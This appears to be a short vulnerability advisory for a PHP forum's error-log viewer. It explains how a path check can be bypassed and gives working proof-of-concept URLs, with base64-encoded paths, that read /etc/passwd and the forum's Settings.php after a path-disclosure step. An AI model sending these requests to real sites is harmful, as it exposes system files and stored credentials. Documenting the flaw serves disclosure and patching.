*Summary:*
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A security flaw allows an attacker to know the full source file of the web system.
*Details:
-----------
Sources/ManageErrors.php Line 340:
// Make sure the file we are looking for is one they are allowed to look at
if (!is_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
fatal_lang_error('error_bad_file', true, array(htmlspecialchars($file)));
Bypass function strpos($file, '../'), no need "../", example: /home/foo/www/Settings.php
*PoC:
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http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=
Read /etc/passwd
works with path disclosure for read Settings.php:
http://whk.drawcoders.net/index.php/topic,2792.0.html
*Reproduce:
1. Open http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
2. Get full path of web app ( /home/1337/public_html/SSI.php ).
3. Exploit in base64:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=
To read /home/spadmin/public_html/Settings.php
Referer and Mirror:
-------------------------
http://whk.drawcoders.net/index.php/topic,2805.0.html
